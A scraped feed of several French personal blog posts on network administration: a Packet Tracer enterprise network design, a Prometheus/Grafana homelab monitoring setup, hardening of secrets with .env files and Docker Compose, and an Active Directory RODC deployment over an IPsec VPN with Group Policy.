IPv6 instable sur switches L3\nSymptôme : Connectivité IPv6 fonctionnelle, puis perte aléatoire de paquets Cause identifiée : Gestion défaillante des tables de voisinage IPv6 (NDP) Solution : Abandon du routage IPv6 sur le Core, migration vers Router-on-a-Stick Impact : Augmentation de la latence IPv6 (~5ms) mais stabilité retrouvée Bug 2 : Non-persistance des ACL après redémarrage\nSymptôme : Les ACL configurées disparaissent au redémarrage du simulateur Cause : Gestion défaillante de la NVRAM simulée pour les ACL Extended Solution de contournement : Script de re-déploiement rapide des ACL (copy-paste préparé) Sauvegarde externe du fichier .pkt après chaque configuration stable Documentation exhaustive des ACL pour reconstruction rapide Apprentissage clé : En environnement de production réel, ces bugs seraient inacceptables. Cependant, ils ont forcé une réflexion approfondie sur :\nLa documentation rigoureuse (essentielle même sans bugs) Les plans de reprise d\u0026rsquo;activité La validation systématique post-déploiement Défi 6 : Services Réseau Centralisés et Accessibilité Problématique : Le serveur DNS doit être accessible depuis tous les VLANs du site principal, mais pas depuis les sites secondaires (exigence sécurité).\nSolution architecturale :\nPlacement du DNS dans un VLAN dédié Infrastructure (200)\nIsolation des serveurs des VLANs utilisateurs Facilite l\u0026rsquo;application de politiques de sécurité strictes ACL sur l\u0026rsquo;interface SVI du VLAN Infrastructure :\nAccepter connexions depuis 10.50.0.0/16 (tous les VLANs site principal) Refuser connexions depuis 10.60.0.0/16 et 10.70.0.0/16 (sites secondaires) Refuser toute initiation de connexion depuis le serveur vers les VLANs utilisateurs Configuration DHCP : Tous les pools DHCP fournissent l\u0026rsquo;IP du DNS (10.50.200.10) comme serveur DNS primaire\nBénéfice : Cette approche permet un contrôle fin. Le DNS est joignable pour résolution, mais ne peut pas être utilisé comme vecteur d\u0026rsquo;attaque (impossibilité d\u0026rsquo;initier des connexions sortantes).\nChoix Technologiques et Justifications Routage Statique vs Routage Dynamique Choix retenu : Routage statique sur les liaisons WAN entre les trois sites.\nJustification :\nTopologie simple et stable (3 routeurs, maillage complet) Pas de besoin de convergence rapide (pas de liens redondants inter-sites) Consommation ressources CPU/RAM minimale Sécurité : pas de risque de propagation de routes malveillantes Alternative écartée (OSPF) :\nPertinent si \u0026gt;3 sites ou ajouts fréquents de sites Overhead inutile pour cette topologie IPv6 : Router-on-a-Stick vs Routage Distribué Choix retenu : Router-on-a-Stick pour IPv6 (sous-interfaces 802.1Q sur le routeur principal).\nJustification technique :\nContournement des limitations Packet Tracer Centralisation du routage IPv6 simplifie le troubleshooting Préparation à une migration future : toutes les routes IPv6 sont déjà sur le routeur Inconvénient assumé :\nTous les flux IPv6 inter-VLANs transitent par le routeur (goulot d\u0026rsquo;étranglement théorique) Acceptable car trafic IPv6 \u0026lt;5% du trafic total dans cette phase En production réelle : Migration vers routage IPv6 distribué sur le Core dès que les équipements le supportent correctement.\nRésultats et Enseignements Validation Fonctionnelle L\u0026rsquo;infrastructure déployée répond aux objectifs :\nSegmentation : 6 VLANs utilisateurs isolés avec contrôle d\u0026rsquo;accès granulaire Services centralisés : DHCP et DNS opérationnels pour tous les utilisateurs Connectivité WAN : Routage inter-sites fonctionnel en IPv4 et IPv6 NAT : Accès internet depuis tous les VLANs avec traduction d\u0026rsquo;adresse Haute disponibilité : Résilience face à la panne d\u0026rsquo;un lien ou d\u0026rsquo;un switch de distribution Tests de Validation Effectués Connectivité :\nPing inter-VLANs selon matrice d\u0026rsquo;autorisation → OK Résolution DNS depuis tous les VLANs → OK Accès au serveur web site secondaire → OK Accès internet (ping 8.8.8.8) → OK Sécurité :\nTentative connexion Comptabilité → Support Technique → Bloquée ✓ Tentative connexion Site Secondaire → DNS → Bloquée ✓ Vérification compteurs ACL (show access-lists) → Règles triggées ✓ Haute disponibilité :\nDéconnexion d\u0026rsquo;un lien LACP → Bande passante réduite, service maintenu ✓ Arrêt d\u0026rsquo;un switch de distribution → Convergence STP, basculement OK ✓ Enseignements Techniques 1. L\u0026rsquo;architecture doit être résiliente aux limitations des outils\nFace aux bugs Packet Tracer, l\u0026rsquo;adoption d\u0026rsquo;architectures alternatives (Router-on-a-Stick, scripts de redéploiement) a permis de maintenir les objectifs métier. En production, cette adaptabilité face aux contraintes matérielles ou logicielles est essentielle.\n2. La documentation vaut autant que la configuration\nLes procédures de reconstruction rapide ont été tout aussi importantes que la configuration initiale. Une infrastructure non documentée est fragile.\n3. La sécurité par couches (defense in depth)\nPlutôt qu\u0026rsquo;une seule ligne de défense, l\u0026rsquo;approche multicouche combinant :\nSegmentation VLAN (isolation L2) ACL (filtrage L3) NAT (masquage adresses internes) Services centralisés avec ACL (protection des ressources critiques) \u0026hellip;offre une résilience supérieure face aux menaces.\n4. Les choix d\u0026rsquo;architecture ont des conséquences long-terme\nLe choix initial d\u0026rsquo;une architecture hiérarchique trois niveaux facilite grandement les évolutions futures (ajout de VLANs, de sites, d\u0026rsquo;équipements). Une architecture plate aurait nécessité des refontes majeures.\n5. Le routage inter-VLAN n\u0026rsquo;est pas une commodité, c\u0026rsquo;est un enjeu de conception\nLe placement du routage (switch Core vs routeur) impacte :\nLes performances (latence, débit) La complexité opérationnelle Les possibilités d\u0026rsquo;évolution Le dual-stack amplifie ces enjeux en nécessitant deux architectures de routage potentiellement distinctes.\nÉvolutions et Perspectives Court terme Monitoring centralisé : Implémentation SNMP pour supervision des équipements Optimisation STP : Configuration manuelle des priorities pour contrôler les chemins actifs Logging centralisé : Serveur Syslog pour journalisation des événements réseau Moyen terme Migration IPv6 native : Basculement du routage IPv6 sur le Core lors du remplacement matériel Routage dynamique WAN : OSPF si extension à plus de 5 sites Redondance de passerelle : HSRP sur le Core si budget alloué pour un second switch Core Long terme SD-WAN : Pour interconnexion de multiples sites avec optimisation automatique des chemins Micro-segmentation : Passage à une segmentation plus fine avec firewalls L7 entre VLANs Automatisation : Scripts Ansible pour déploiement automatisé des configurations sur nouveaux équipements Conclusion Ce déploiement illustre que la conception d\u0026rsquo;une infrastructure réseau moderne nécessite de jongler entre contraintes techniques, exigences métier, limitations matérielles et objectifs de sécurité. Les défis rencontrés (routage dual-stack, politique de sécurité granulaire, haute disponibilité, bugs simulateur) ont nécessité des choix d\u0026rsquo;architecture pragmatiques plutôt que des solutions \u0026ldquo;parfaites\u0026rdquo; théoriques.\nLes principaux apprentissages portent sur :\nL\u0026rsquo;importance de l\u0026rsquo;adaptabilité face aux contraintes réelles La valeur de la documentation et des procédures de reprise La conception en couches pour la résilience L\u0026rsquo;équilibre entre complexité et maintenabilité Cette infrastructure démontre qu\u0026rsquo;une architecture bien conçue, même avec des équipements non haut-de-gamme et un simulateur imparfait, peut répondre à des exigences professionnelles strictes en matière de segmentation, de disponibilité et de sécurité.\nCompétences mobilisées : Conception réseau, Architecture hiérarchique, Segmentation VLAN, Politique de sécurité, Haute disponibilité, Dual-stack IPv4/IPv6, Troubleshooting, Adaptabilité technique\nEnvironnement : Simulation Cisco Packet Tracer 9\n","permalink":"https://appercel-clement.netlify.app/posts/conception-r%C3%A9seau-v2/","summary":"\u003cblockquote\u003e\n\u003cp\u003e⚠️ \u003cstrong\u003eDisclaimer\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eLa méthode que je présente ici correspond à ma propre démarche d\u0026rsquo;apprentissage. Elle peut contenir des approximations ou des erreurs, car j\u0026rsquo;apprends et je progresse chaque jour un peu plus. Ne prenez donc pas ce que je fais comme une référence absolue, mais plutôt comme un retour d\u0026rsquo;expérience personnel.\u003c/p\u003e\u003c/blockquote\u003e\n\u003ch2 id=\"contexte-et-enjeux\"\u003eContexte et Enjeux\u003c/h2\u003e\n\u003cp\u003eUne société du secteur communication et influence digitale nécessitait une refonte complète de son infrastructure réseau lors de son déménagement dans de nouveaux locaux répartis sur trois sites. Le cahier des charges imposait des contraintes fortes en matière de segmentation métier, de disponibilité et de sécurité des données.\u003c/p\u003e","title":"ASRS Projet 6 : Conception d'une infrastructure réseau d'entreprise"},{"content":" ⚠️ Disclaimer\nLa méthode que je présente ici correspond à ma propre démarche d\u0026rsquo;apprentissage. Elle peut contenir des approximations ou des erreurs, car j\u0026rsquo;apprends et je progresse chaque jour un peu plus. Ne prenez donc pas ce que je fais comme une référence absolue, mais plutôt comme un retour d\u0026rsquo;expérience personnel.\nBienvenue dans cette série d\u0026rsquo;articles dédiée à la mise en place d\u0026rsquo;une infrastructure de surveillance de niveau entreprise. À travers ce carnet de bord, je partage mes succès, mes échecs et surtout mes décisions techniques dans la construction d\u0026rsquo;une infrastructure basée sur Prometheus et Grafana.\nL\u0026rsquo;approche hybride : pourquoi le tout-SNMP est une fausse bonne idée Quand on commence à dessiner l\u0026rsquo;architecture réseau d\u0026rsquo;une infrastructure, on a souvent ce rêve d\u0026rsquo;unification. On se dit : \u0026ldquo;Je vais utiliser le protocole SNMP partout, c\u0026rsquo;est le standard depuis 30 ans, ça va être propre et centralisé.\u0026rdquo;\nSpoiler : Ça ne se passe jamais comme prévu.\nLe mur du SNMP (ou \u0026ldquo;l\u0026rsquo;épisode pfSense\u0026rdquo;) Au départ, ma vision était \u0026ldquo;Agent-less\u0026rdquo;. Je voulais interroger mon routeur pfSense uniquement via SNMP. Sur le papier, c\u0026rsquo;est génial : pas d\u0026rsquo;installation tierce, on active le service et on \u0026ldquo;scrape\u0026rdquo;.\nEn pratique, j\u0026rsquo;ai eu des erreurs HTTP 400 (Bad Request) à répétition. Le SNMP se comporte comme un observateur distant. Il demande des infos à travers une porte entrouverte (les OID), mais si la MIB (Management Information Base) du constructeur est incomplète, on récupère des données tronquées.\nEn pratique, j\u0026rsquo;ai constaté plusieurs limites. La visibilité des disques est impossible : on ne peut pas avoir la température précise. La granularité CPU est insuffisante : on récupère une moyenne globale au lieu d\u0026rsquo;une vue par cœur.\nLe Pivot : Node Exporter comme \u0026ldquo;Initié\u0026rdquo; du Système Pour mes machines critiques (NAS Synology, Hyperviseur Proxmox, Routeur pfSense), j\u0026rsquo;ai installé Node Exporter. C\u0026rsquo;est un agent qui vit à l\u0026rsquo;intérieur de l\u0026rsquo;OS. Il voit tout ce que le système voit.\nPour déployer Node Exporter sur Proxmox (Debian) :\nsudo apt update \u0026amp;\u0026amp; sudo apt install prometheus-node-exporter -y La commande apt update rafraîchit les sources, et install -y automatise l\u0026rsquo;installation pour éviter les interruptions.\nConfiguration du YAML Hybride Voici comment je fais cohabiter ces deux mondes dans mon prometheus.yml :\nscrape_configs: # LE COEUR SYSTÈME (NODE EXPORTER) - job_name: \u0026#39;serveur-coeur-system\u0026#39; scrape_interval: 15s static_configs: - targets: [\u0026#39;10.0.0.10:9100\u0026#39;, \u0026#39;10.0.0.1:9100\u0026#39;] labels: security_level: \u0026#39;critical\u0026#39; # LE RÉSEAU PUR (SNMP) - job_name: \u0026#39;switch-mikrotik\u0026#39; static_configs: - targets: [\u0026#39;10.0.0.254\u0026#39;] metrics_path: /snmp params: auth: [public_v2] module: [if_mib] relabel_configs: - source_labels: [__address__] target_label: __param_target - target_label: __address__ replacement: 10.0.0.5:9116 L\u0026rsquo;Œil de l\u0026rsquo;Ingénieur Cyber Pourquoi Node Exporter est-il plus \u0026ldquo;Cyber-Safe\u0026rdquo; ? En limitant l\u0026rsquo;écoute du port 9100 à mon seul serveur de monitoring via des ACLs, je réduis ma surface d\u0026rsquo;attaque par rapport à un SNMP v2c où les mots de passe circulent en clair sur le réseau.\nDompter le protocole SNMP : le défi MikroTik L’ajout d\u0026rsquo;un équipement comme le MikroTik CRS310-8G+2S+ a été mon deuxième grand défi. Ici, pas de Node Exporter possible : on est \u0026ldquo;prisonnier\u0026rdquo; du SNMP constructeur.\nÉtape 1 : Préparer RouterOS Avant que Prometheus ne puisse lire quoi que ce soit, il faut sécuriser l\u0026rsquo;accès sur le switch :\n# Activation du SNMP /snmp set enabled=yes contact=\u0026#34;Clement-Admin\u0026#34; location=\u0026#34;Homelab-Rack\u0026#34; # Configuration d\u0026#39;une communauté sécurisée /snmp community add name=MaCommunauteSecrete addresses=10.0.0.5/32 read-access=yes Avec addresses=10.0.0.5/32, je restreins l\u0026rsquo;accès : seul mon serveur Prometheus peut interroger le switch. L\u0026rsquo;option read-access=yes interdit toute modification du switch via SNMP, un point de sécurité critique.\nLe Casse-tête de l\u0026rsquo;Auth-Split Depuis la version 0.23 de l\u0026rsquo;exporter SNMP, l\u0026rsquo;authentification est séparée des modules. Si vous utilisez un vieux tuto, vous aurez l\u0026rsquo;erreur \u0026quot;Unknown module\u0026quot;. Mon fichier snmp.yml a été réécrit pour être \u0026ldquo;Hybride\u0026rdquo; :\nauths: public_v2: community: MaCommunauteSecrete version: 2 modules: if_mib: walk: [1.3.6.1.2.1.2, 1.3.6.1.2.1.31.1.1] metrics: - name: ifHCInOctets oid: 1.3.6.1.2.1.31.1.1.1.6 type: counter Validation et Radar de Sécurité Pour vérifier que la donnée est intègre, j\u0026rsquo;utilise toujours un curl de diagnostic :\ncurl -g \u0026#34;[http://10.0.0.5:9116/snmp?target=10.0.0.55\u0026amp;module=if_mib\u0026amp;auth=public_v2](http://10.0.0.5:9116/snmp?target=10.0.0.55\u0026amp;module=if_mib\u0026amp;auth=public_v2)\u0026#34; | grep ifHCInOctets Si les chiffres remontent, mon radar est actif. En monitorant mon switch, j\u0026rsquo;ai pu observer des pics de trafic inhabituels la nuit, ce qui me permet d\u0026rsquo;identifier immédiatement une potentielle exfiltration de données.\nÀ suivre Les prochains articles traiteront du hardening de la stack avec des secrets Docker et des fichiers .env, ainsi que du dashboarding avancé pour créer des alertes basées sur les métriques d\u0026rsquo;écriture disque.\n","permalink":"https://appercel-clement.netlify.app/posts/article-perso-saga-monitoring-homelab-de-la-conception-%C3%A0-la-s%C3%A9curit%C3%A9/","summary":"\u003cblockquote\u003e\n\u003cp\u003e⚠️ \u003cstrong\u003eDisclaimer\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eLa méthode que je présente ici correspond à ma propre démarche d\u0026rsquo;apprentissage. Elle peut contenir des approximations ou des erreurs, car j\u0026rsquo;apprends et je progresse chaque jour un peu plus. Ne prenez donc pas ce que je fais comme une référence absolue, mais plutôt comme un retour d\u0026rsquo;expérience personnel.\u003c/p\u003e\u003c/blockquote\u003e\n\u003cp\u003eBienvenue dans cette série d\u0026rsquo;articles dédiée à la mise en place d\u0026rsquo;une infrastructure de surveillance de niveau entreprise. À travers ce carnet de bord, je partage mes succès, mes échecs et surtout mes décisions techniques dans la construction d\u0026rsquo;une infrastructure basée sur \u003cstrong\u003ePrometheus\u003c/strong\u003e et \u003cstrong\u003eGrafana\u003c/strong\u003e.\u003c/p\u003e","title":"Saga monitoring homelab : de la conception à la sécurité"},{"content":" ⚠️ Disclaimer\nLa méthode que je présente ici correspond à ma propre démarche d\u0026rsquo;apprentissage. Elle peut contenir des approximations ou des erreurs, car j\u0026rsquo;apprends et je progresse chaque jour un peu plus. Ne prenez donc pas ce que je fais comme une référence absolue, mais plutôt comme un retour d\u0026rsquo;expérience personnel.\nDans ce troisième chapitre, on va transformer notre \u0026ldquo;Passoire-Stack\u0026rdquo; en un système plus robuste en appliquant le principe de Séparation des Responsabilités.\n1. Le \u0026ldquo;Coffre-Fort\u0026rdquo; local : Le fichier .env La première étape du hardening, c\u0026rsquo;est d\u0026rsquo;extraire tout ce qui est sensible vers un fichier d\u0026rsquo;environnement. Sur macOS ou Linux, ce fichier commence par un point (.env), ce qui le rend masqué par défaut.\nCréation et verrouillage (Le moment \u0026ldquo;Cyber\u0026rdquo;) Ouvrez votre terminal dans votre dossier monitoring-stack :\n1 2 touch .env chmod 600 .env Décomposition des commandes :\ntouch .env : Crée un fichier vide nommé .env.\nchmod 600 .env : C\u0026rsquo;est la commande vitale.\nchmod (Change Mode) modifie les permissions.\n6 (Lecture + Écriture pour vous).\n00 (Aucun droit pour le groupe et les autres utilisateurs du système).\nPourquoi ? Si un autre utilisateur ou un processus malveillant tente de lire ce fichier, il se fera jeter. C\u0026rsquo;est le principe du moindre privilège.\nContenu du fichier Voici à quoi ressemble mon .env (évidemment, les valeurs ci-dessous sont des exemples) :\n1 2 3 4 5 6 # Identifiants Grafana GRAFANA_ADMIN_PASSWORD=MonMotDePasseTresLongEtComplexe123! # Configuration Alertes Mails (Posteo) SMTP_USER=votre.email@gmail.com SMTP_PASS=votre-mot-de-passe-application 2. Injection dans Docker Compose : L\u0026rsquo;Interpolation Maintenant que nos secrets sont au chaud dans le .env, il faut dire à Docker d\u0026rsquo;aller les chercher. On utilise pour cela la syntaxe ${VARIABLE}.\nVoici l\u0026rsquo;extrait de mon docker-compose.yml modifié :\n1 2 3 4 5 6 7 8 9 10 11 12 services: grafana: image: grafana/grafana-enterprise:latest container_name: grafana environment: - GF_SECURITY_ADMIN_PASSWORD=${GRAFANA_ADMIN_PASSWORD} - GF_SMTP_ENABLED=true - GF_SMTP_HOST=posteo.de:587 - GF_SMTP_USER=${SMTP_USER} - GF_SMTP_PASSWORD=${SMTP_PASS} - GF_SMTP_FROM_ADDRESS=monitoring@votre-domaine.com - GF_SMTP_SKIP_VERIFY=false # On ne rigole pas avec le SSL L\u0026rsquo;analyse technique : ${GRAFANA_ADMIN_PASSWORD} : au moment du docker compose up, Docker va scanner le fichier .env, trouver la valeur correspondante et l\u0026rsquo;injecter dans le conteneur. Le YAML reste \u0026ldquo;propre\u0026rdquo; et peut être partagé sans risque.\nGF_SMTP_SKIP_VERIFY=false : en cybersécurité, on évite de sauter la vérification des certificats. Si cette valeur était à true, un attaquant pourrait intercepter vos mails d\u0026rsquo;alerte via une attaque Man-in-the-Middle (MitM).\n3. Le cas d\u0026rsquo;école : Alertes SMTP et Identités Lors de la mise en place de mes alertes mail via Posteo, j\u0026rsquo;ai rencontré un défi intéressant lié à l\u0026rsquo;IAM (Identity \u0026amp; Access Management).\nPosteo (comme beaucoup de serveurs mail sécurisés) distingue l\u0026rsquo;utilisateur qui se connecte (SMTP_USER) de l\u0026rsquo;adresse qui s\u0026rsquo;affiche sur le mail (FROM_ADDRESS).\nCe que j\u0026rsquo;ai appris :\nOn utilise un mot de passe d\u0026rsquo;application et non le mot de passe maître. C\u0026rsquo;est une règle d\u0026rsquo;or : si votre stack de monitoring est compromise, l\u0026rsquo;attaquant n\u0026rsquo;aura accès qu\u0026rsquo;à l\u0026rsquo;envoi de mails, pas à l\u0026rsquo;intégralité de votre boîte de réception.\nLe SMTP_USER doit être votre adresse principale (ex: clément@pgmail.com), mais vous pouvez \u0026ldquo;signer\u0026rdquo; vos alertes avec un alias plus pro (ex: soc-alert@homelab.com).\n4. La dernière barrière : Le .gitignore C\u0026rsquo;est l\u0026rsquo;erreur classique qui a coûté des millions à certaines entreprises : oublier de dire à Git d\u0026rsquo;ignorer le fichier .env.\nCréez un fichier .gitignore à la racine de votre projet :\n1 2 3 .env prometheus/data/ grafana/data/ Pourquoi c\u0026rsquo;est important ? Si un jour vous décidez de pousser votre projet sur GitHub pour montrer votre travail, Git ignorera royalement votre fichier .env. Vos secrets resteront sur votre machine, et uniquement là.\n5. Vérification post-déploiement Une fois la stack lancée avec docker compose up -d, comment savoir si nos secrets ont bien été injectés sans les afficher à l\u0026rsquo;écran ?\n1 docker exec -it grafana env | grep GF_SECURITY Décomposition :\ndocker exec -it grafana : \u0026ldquo;Entre\u0026rdquo; dans le conteneur Grafana en mode interactif.\nenv : Affiche toutes les variables d\u0026rsquo;environnement internes au conteneur.\n| grep GF_SECURITY : Filtre le résultat pour ne voir que ce qui nous intéresse.\nVérification : Si vous voyez votre mot de passe s\u0026rsquo;afficher ici, c\u0026rsquo;est que l\u0026rsquo;injection a réussi. Note : Dans un environnement de production ultra-sensible, on utiliserait des \u0026ldquo;Docker Secrets\u0026rdquo; pour que même cette commande ne révèle rien. Conclusion Le Hardening, ce n\u0026rsquo;est pas installer un logiciel miracle, c\u0026rsquo;est une somme de petits réflexes : un chmod bien placé, une variable d\u0026rsquo;environnement au lieu d\u0026rsquo;un texte en clair, et une surveillance constante des flux (SMTP).\nMa stack est désormais un peu plus \u0026ldquo;propre\u0026rdquo; d\u0026rsquo;un point de vue architectural.\n","permalink":"https://appercel-clement.netlify.app/posts/article-perso-conception-dune-infrastructure-r%C3%A9seau-dentreprise-d%C3%A9fis-et-solutions-darchitecture/","summary":"\u003cblockquote\u003e\n\u003cp\u003e⚠️ \u003cstrong\u003eDisclaimer\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eLa méthode que je présente ici correspond à ma propre démarche d\u0026rsquo;apprentissage. Elle peut contenir des approximations ou des erreurs, car j\u0026rsquo;apprends et je progresse chaque jour un peu plus. Ne prenez donc pas ce que je fais comme une référence absolue, mais plutôt comme un retour d\u0026rsquo;expérience personnel.\u003c/p\u003e\u003c/blockquote\u003e\n\u003cp\u003eDans ce troisième chapitre, on va transformer notre \u0026ldquo;Passoire-Stack\u0026rdquo; en un système plus robuste en appliquant le principe de \u003cstrong\u003eSéparation des Responsabilités\u003c/strong\u003e.\u003c/p\u003e","title":"Sécuriser sa stack de monitoring : hardening et gestion des secrets"},{"content":" ⚠️ Disclaimer\nLa méthode que je présente ici correspond à ma propre démarche d\u0026rsquo;apprentissage. Elle peut contenir des approximations ou des erreurs, car j\u0026rsquo;apprends et je progresse chaque jour un peu plus. Ne prenez donc pas ce que je fais comme une référence absolue, mais plutôt comme un retour d\u0026rsquo;expérience personnel.\nContexte et objectifs Une mission pour une banque qui s\u0026rsquo;étendait. Lyon en tant que siège, Marseille comme nouveau site distant. Active Directory pour gérer tout ça de manière centralisée.\nCe qui était attendu : un tunnel VPN sécurisé entre les deux sites, un contrôleur de domaine en lecture seule à Marseille (RODC), et que les utilisateurs puissent se connecter même si le VPN tombait en panne. Des politiques de sécurité via les Group Policy Objects. Et bien sûr, respecter RGPD, PCI-DSS et l\u0026rsquo;ACPR qui surveille le secteur bancaire.\nContraintes matérielles : Proxmox avec du VXLAN pour la virtualisation, Windows Server 2019 (Desktop au siège, Core à distance), chiffrement AES-256 minimum sur le VPN, moindre privilège partout.\nArchitecture Composant Site Lyon Site Marseille Réseau 172.16.10.0/24 172.16.20.0/24 Firewall pfSense 2.7 (194.0.1.1) pfSense 2.7 (194.0.2.1) Contrôleur AD DC-LYON (172.16.10.2) RODC-MARSEILLE (172.16.20.2) OS Windows Server 2019 Desktop Windows Server 2019 Core Rôle AD Domain Controller (RW) Read-Only Domain Controller VPN Endpoint IPsec IKEv2 Endpoint IPsec IKEv2 Pourquoi Windows Server Core à Marseille et pas Desktop ? Surface d\u0026rsquo;attaque réduite. Pas d\u0026rsquo;interface graphique, moins de services, moins de possibilités pour quelqu\u0026rsquo;un qui aurait mal intentionné. Et puis ça consomme moins de RAM, moins de patchs à appliquer.\nPhase 1 : le tunnel VPN IPsec Le VPN site-à-site en IPsec IKEv2 était la base de tout. Site-à-site plutôt que client-serveur, car il fallait que les utilisateurs à Marseille accèdent à Active Directory de façon transparente, sans même savoir qu\u0026rsquo;il y a un tunnel, le trafic passe automatiquement par pfSense.\nEt puis Active Directory, c\u0026rsquo;est compliqué. Kerberos, LDAP, DNS, SMB, RPC, tous ces protocoles ont besoin d\u0026rsquo;une vraie connexion réseau bidirectionnelle. Un VPN SSL basique n\u0026rsquo;aurait pas suffi. IPsec opère à la couche 3 (réseau), donc il chiffre tout le trafic IP, pas juste les requêtes web.\nLa configuration IPsec en deux phases. Phase 1 (IKE) établit un canal de négociation sécurisé. J\u0026rsquo;ai choisi IKEv2 plutôt que IKEv1 parce que c\u0026rsquo;est plus efficace (4 messages au lieu de 6), et ça résiste mieux aux attaques DoS. Pre-Shared Key pour l\u0026rsquo;authentification (idéalement des certificats PKI en production, mais PSK c\u0026rsquo;était plus simple). Chiffrement : AES-256-CBC, intégrité avec SHA-256, Diffie-Hellman Group 14 (2048 bits).\nPhase 2 (ESP) protège les données réelles. Mode tunnel qui encapsule complètement les paquets IP originaux. AES-256-CBC aussi. Et Perfect Forward Secrecy, les clés se régénèrent toutes les heures, donc même si quelqu\u0026rsquo;un casse une clé, il ne peut pas déchiffrer les vieilles sessions.\nDead Peer Detection détecte une panne en 50 secondes max via des keepalive réguliers. Si le tunnel s\u0026rsquo;effondre, pfSense le remonte automatiquement sans intervention. Et si Internet revient après une coupure, le tunnel se rétablit seul, la réplication AD reprend toute seule.\nTests de validation :\n1 2 3 4 5 6 # Connectivité de base ping 172.16.20.2 # Compteurs IPsec — Bytes-In/Out doivent augmenter # Test de latence traceroute 172.16.20.2 Résultats : latence due au chiffrement moins de 3 ms, zéro perte de paquets sur 1000 ICMP.\nPhase 2 : RODC à Marseille Un contrôleur de domaine en lecture seule plutôt qu\u0026rsquo;un DC classique. Trois raisons. Sécurité : en lecture seule, le RODC ne peut pas faire remonter de modifications malveillantes vers le reste du domaine. Si Marseille se fait compromettre, le dégât reste localisé. Continuité : le RODC met en cache les identifiants d\u0026rsquo;authentification localement, donc même sans VPN, les utilisateurs de Marseille peuvent se connecter. Conformité : les banques ne font pas confiance à un site distant avec un DC en écriture, audit et traçabilité.\nRéplication unidirectionnelle : Lyon vers Marseille, pas l\u0026rsquo;inverse. Les partitions répliquées : Schema, Configuration, Domain, ApplicationPartitions. Par défaut toutes les 15 minutes. RPC over IP via le tunnel VPN sur les ports 135 et dynamiques. Les objets AD (utilisateurs, ordinateurs, GPO) arrivent en lecture seule. Le RODC ne peut jamais initier de modifications lui-même.\nEnsuite, la Password Replication Policy, quel contrôle des mots de passe peut être stocké localement sur le RODC ? Par défaut, zéro. Aucun mot de passe. Faut explicitement les autoriser :\n1 2 Add-ADDomainControllerPasswordReplicationPolicy -Identity \u0026#34;RODC-NANTES\u0026#34; ` -AllowedList \u0026#34;GG-Utilisateurs-Marseille\u0026#34; Une fois autorisés, les mots de passe se mettent en cache à la première authentification réussie avec VPN actif. Les fois suivantes, c\u0026rsquo;est le cache local qui répond, même sans VPN.\nLes Sites AD, c\u0026rsquo;est crucial pour l\u0026rsquo;optimisation. Les clients doivent savoir d\u0026rsquo;utiliser le RODC local plutôt que de traverser le VPN à chaque connexion :\n1 2 New-ADReplicationSite -Name \u0026#34;Site-Marseille\u0026#34; New-ADReplicationSubnet -Name \u0026#34;172.16.20.0/24\u0026#34; -Site \u0026#34;Site-Marseille\u0026#34; Une fois ça configuré, les clients du réseau 172.16.20.0/24 découvrent automatiquement leur DC local via les enregistrements DNS SRV. Pas besoin de traverser le VPN à chaque fois.\nTest critique : authentification hors ligne. D\u0026rsquo;abord un utilisateur Marseille se connecte avec VPN actif (mise en cache du mot de passe). Puis j\u0026rsquo;ai tué le tunnel IPsec. L\u0026rsquo;utilisateur a tenté de se reconnecter. Résultat : succès, authentification locale sur le RODC, sans accès au DC Lyon. La variable LOGONSERVER pointait bien sur RODC-NANTES.\nEnsuite j\u0026rsquo;ai essayé avec un utilisateur Lyon. Échec attendu, son mot de passe n\u0026rsquo;est pas dans la PRP du RODC.\nPhase 3 : Group Policy Objects Restriction horaire pour les utilisateurs. Les gens ne peuvent se connecter qu\u0026rsquo;entre 8h et 18h du lundi au vendredi. C\u0026rsquo;est du Logon Hours dans les propriétés AD, appliqué via PowerShell sur tous les comptes. C\u0026rsquo;est une exigence ACPR, limiter la fenêtre où un attaquant pourrait exploiter une session ouberte.\nBlocage des clés USB. Computer Configuration → Policies → Administrative Templates → System → Removable Storage Access → Deny all access.\nUn piège : cette GPO s\u0026rsquo;applique en Computer Configuration, pas User. J\u0026rsquo;avais d\u0026rsquo;abord mis que des groupes d\u0026rsquo;utilisateurs dans le Security Filtering. Résultat : rien ne se passait. Faut que les objets Computer soient dans le filtrage pour que ça marche.\nDéploiement logiciel via GPO : f.lux pour un utilisateur spécifique (Ana Garcia). User Configuration, Item-Level Targeting filtrée sur son SamAccountName, MSI dans un partage réseau. L\u0026rsquo;outil s\u0026rsquo;installe automatiquement à sa connexion. Ça montre la granularité qu\u0026rsquo;on peut avoir avec les GPO, une personne, un logiciel, sans toucher aux autres.\nLes détours MTU avec VXLAN. Perte de paquets aléatoire, timeouts sur les gros fichiers. VXLAN ajoute 50 octets d\u0026rsquo;overhead, IPsec en ajoute ~70, et l\u0026rsquo;Ethernet standard c\u0026rsquo;est 1500. Les paquets se retrouvaient fragmentés. J\u0026rsquo;ai réduit le MTU à 1400 sur les interfaces VM, les tunnels IPsec (MSS clamping à 1360), et la configuration VXLAN dans Proxmox. Problème réglé.\nPromotion du RODC : erreur \u0026ldquo;Impossible de contacter le contrôleur de domaine\u0026rdquo;. DNS cassée. Le serveur Marseille ne résolvait pas le DC Lyon. J\u0026rsquo;ai mis le DNS primaire du RODC vers 172.16.10.2 (le DC Lyon) et vérifié les enregistrements SRV avec nslookup -type=SRV _ldap._tcp.dc._msdcs.company.local.\nEt puis la GPO de blocage USB ne s\u0026rsquo;appliquait pas. J\u0026rsquo;avais mis que des groupes d\u0026rsquo;utilisateurs dans le Security Filtering. Faut les objets Computer. J\u0026rsquo;ai ajouté \u0026ldquo;Domain Computers\u0026rdquo; ou créé un groupe \u0026ldquo;GG-Ordinateurs-Marseille\u0026rdquo;.\nSécurité Comptes utilisateurs en \u0026ldquo;Domain Users\u0026rdquo; seulement, pas d\u0026rsquo;admin. Les comptes privilegiés sont séparés et restrictifs.\nLe RODC n\u0026rsquo;a aucun rôle FSMO (Flexible Single Master Operations). Tous les rôles FSMO restent à Lyon. Ça centralise le contrôle.\nJournalisation avancée : événements d\u0026rsquo;authentification (ID 4624, 4625, 4776), modifications de GPO (ID 5136, 5137), réplication AD. Les logs remontent à un SIEM pour analyse.\nCommunications au-delà du VPN : Kerberos pour l\u0026rsquo;authentification chiffrée, LDAPS pour chiffrer les requêtes LDAP, SMB Signing pour les signatures, empêche le relay.\nConcepts derrière tout ça Multi-master vs single-master. Normalement tous les DC AD acceptent les modifications, se répliquent mutuellement. Risqué si le site distant est mal 